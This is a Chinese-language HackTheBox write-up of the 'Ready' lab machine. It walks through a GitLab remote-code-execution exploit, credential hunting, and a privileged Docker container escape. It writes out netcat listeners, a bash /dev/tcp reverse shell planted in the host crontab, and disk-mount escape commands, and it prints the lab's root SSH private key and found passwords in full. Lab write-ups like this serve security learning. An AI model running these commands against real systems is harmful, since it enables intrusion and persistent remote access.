【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)

admin 2023年9月11日09:50:39评论59 views字数 4025阅读13分25秒阅读模式

一、信息搜集

nmap -sV 10.10.10.220
# nmap -p- -sV -sC -min-rate 10000 10.10.10.220

【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)先看看web资产,访问之后直接跳转到gitlab的登录界面:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)

二、gitlab历史漏洞利用

gitlab的版本号只有在登录后台之后才能看到,于是我们先注册一个账号,随便输入就行:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)然后访问[http://10.10.10.220:5080/help](http://10.10.10.220:5080/help)即可看到版本号是11.4.7【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)

补充:关于gitlab版本号查询的五种方法:https://blog.csdn.net/liumiaocn/article/details/108139228

直接利用脚本:https://github.com/dotPY-hax/gitlab_RCE,对应的CVECVE-2018-19571CVE-2018-19585。(10.10.16.14为攻击机ip

git clone https://github.com/dotPY-hax/gitlab_RCE.git
cd gitlab_RCE
python gitlab_rce.py http://10.10.10.220:5080 10.10.16.14

这里需要选择0和在另一个窗口执行nc -nlvp 42069【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)成功反弹回shell【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)本目录下没什么东西,于是翻翻看其他目录有没有东西,来到根目录ls -la发现有个.dockerenv文件,以及一个root_pass文件:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)查看root_pass文件:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)值为:YG65407Bjqvv9A0a8Tm_7w,但是这个密码啥也登录不了(后来从/opt/backup/docker-compose.yml才发现是gitlab的初始root密码),先放着,继续翻其他目录:/tmp目录下啥也没:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)来到/opt目录下,可以看到有个backup目录,进去之后发现gitlab-secrets.json文件:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)但是这个文件挺长的,看起来不是很方便:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)我们直接在这个backup目录下执行:

grep -Ri "pass"

其中-R表示递归地搜索文件夹中的所有文件,-i表示忽略大小写,即不区分大小写进行匹配。 发现了关键信息:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)smtp的密码是wW59U!ZKMbG9+*#h,尝试密码复用,登录这个服务器的root账户,发现不行:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)尝试登录这个dockerroot账户,提升我su: must be run from a terminal【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)于是查看有无python环境,从上图中发现有,于是直接执行以下脚本:

echo "import pty; pty.spawn('/bin/bash')" > /tmp/suter.py
python3 /tmp/suter.py

输入密码,成功登录root账户:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)但是root目录下也是啥也没有,也就是说肯定是要docker逃逸了。

三、docker容器逃逸

关于docker逃逸,宸极实验室的这篇文章总结的很好:

https://zhuanlan.zhihu.com/p/614513965

privileged特权模式启动容器逃逸

通过以下命令判断是否存在该漏洞:

cat /proc/self/status |grep Cap

发现CapEff对应的掩码值是0000003fffffffff,存在漏洞。【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)开始尝试利用:

fdisk -l

【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)于是尝试挂载/dev/sda2至其他目录,例如我这里的/media/hacktest

mkdir /media/hacktest && mount /dev/sda2 /media/hacktest

挂载成功:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)需要注意的是,从上图中不难看出,挂载成功之后,不能进入hacktest这个文件夹,否则挂载失效。 然后就是两个思路,一个是读私钥,然后连ssh;第二个就是反弹shell。我们都尝试一下。

1.1 读私钥连ssh

cd /media
ls -l hacktest/root/.ssh/
cat hacktest/root/.ssh/id_rsa

不知道为啥子,我这挂载老是掉,不过没关系,重新挂载下就行:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)成功拿到私钥如下:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvyovfg++zswQT0s4YuKtqxOO6EhG38TR2eUaInSfI1rjH09Q
sle1ivGnwAUrroNAK48LE70Io13DIfE9rxcotDviAIhbBOaqMLbLnfnnCNLApjCn
6KkYjWv+9kj9shzPaN1tNQLc2Rg39pn1mteyvUi2pBfA4ItE05F58WpCgh9KNMlf
YmlPwjeRaqARlkkCgFcHFGyVxd6Rh4ZHNFjABd8JIl+Yaq/pg7t4qPhsiFsMwntX
TBKGe8T4lzyboBNHOh5yUAI3a3Dx3MdoY+qXS/qatKS2Qgh0Ram2LLFxib9hR49W
rG87jLNt/6s06z+Mwf7d/oN8SmCiJx3xHgFzbwIDAQABAoIBACeFZC4uuSbtv011
YqHm9TqSH5BcKPLoMO5YVA/dhmz7xErbzfYg9fJUxXaIWyCIGAMpXoPlJ90GbGof
Ar6pDgw8+RtdFVwtB/BsSipN2PrU/2kcVApgsyfBtQNb0b85/5NRe9tizR/Axwkf
iUxK3bQOTVwdYQ3LHR6US96iNj/KNru1E8WXcsii5F7JiNG8CNgQx3dzve3Jzw5+
lg5bKkywJcG1r4CU/XV7CJH2SEUTmtoEp5LpiA2Bmx9A2ep4AwNr7bd2sBr6x4ab
VYYvjQlf79/ANRXUUxMTJ6w4ov572Sp41gA9bmwI/Er2uLTVQ4OEbpLoXDUDC1Cu
K4ku7QECgYEA5G3RqH9ptsouNmg2H5xGZbG5oSpyYhFVsDad2E4y1BIZSxMayMXL
g7vSV+D/almaACHJgSIrBjY8ZhGMd+kbloPJLRKA9ob8rfxzUvPEWAW81vNqBBi2
3hO044mOPeiqsHM/+RQOW240EszoYKXKqOxzq/SK4bpRtjHsidSJo4ECgYEA1jzy
n20X43ybDMrxFdVDbaA8eo+og6zUqx8IlL7czpMBfzg5NLlYcjRa6Li6Sy8KNbE8
kRznKWApgLnzTkvupk/oYSijSliLHifiVkrtEY0nAtlbGlgmbwnW15lwV+d3Ixi1
KNwMyG+HHZqChNkFtXiyoFaDdNeuoTeAyyfwzu8CgYAo4L40ORjh7Sx38A4/eeff
Kv7dKItvoUqETkHRA6105ghAtxqD82GIIYRy1YDft0kn3OQCh+rLIcmNOna4vq6B
MPQ/bKBHfcCaIiNBJP5uAhjZHpZKRWH0O/KTBXq++XQSP42jNUOceQw4kRLEuOab
dDT/ALQZ0Q3uXODHiZFYAQKBgBBPEXU7e88QhEkkBdhQpNJqmVAHMZ/cf1ALi76v
DOYY4MtLf2dZGLeQ7r66mUvx58gQlvjBB4Pp0x7+iNwUAbXdbWZADrYxKV4BUUSa
bZOheC/KVhoaTcq0KAu/nYLDlxkv31Kd9ccoXlPNmFP+pWWcK5TzIQy7Aos5S2+r
ubQ3AoGBAIvvz5yYJBFJshQbVNY4vp55uzRbKZmlJDvy79MaRHdz+eHry97WhPOv
aKvV8jR1G+70v4GVye79Kk7TL5uWFDFWzVPwVID9QCYJjuDlLBaFDnUOYFZW52gz
vJzok/kcmwcBlGfmRKxlS0O6n9dAiOLY46YdjyS8F8hNPOKX6rCd
-----END RSA PRIVATE KEY-----

把上面的内容写到桌面的id_rsa_hack中:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)尝试登录:

ssh -i id_rsa_hack [email protected]

报错Permissions 0644 for 'id_rsa_hack' are too open.,这是嫌我的权限给的太多了,不满足要求,于是调成600再尝试,发现成功拿下:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)

1.2 反弹shell

先开启监听:

nc -nlvp 6666

然后执行以下代码:

cd /media
touch hacktest/hacker.sh
echo "bash -i >& /dev/tcp/10.10.16.14/6666 0>&1" >/media/hacktest/hacker.sh
echo "* * * * * root bash /hacker.sh" >> hacktest/etc/crontab

我这里中途挂载老是失效,于是mount /dev/sda2 /media/hacktest重新挂载了好几次:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)发现反弹成功:【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)接下来查看/root/root.txt文件即可拿到root flag。 还差一个user flag,直接进入/home/dude然后cat user.txt【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)

2. 其他逃逸方式

其他的如脏牛等,未尝试成功。

四、总结

这个靶场较为简单,因此写的较为简略,但是过程中遇到的问题还是记录了下来。有什么问题欢迎交流,直接公众号后台留言即可,交流群已全部解散。晚上开始打编号296的名为APT的靶场。


原文始发于微信公众号(追梦信安):【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月11日09:50:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HackTheBox系列】第二篇:简单难度之Ready(gitlab渗透利用+docker挂载逃逸)http://cn-sec.com/archives/2023639.html

发表评论

匿名网友 填写信息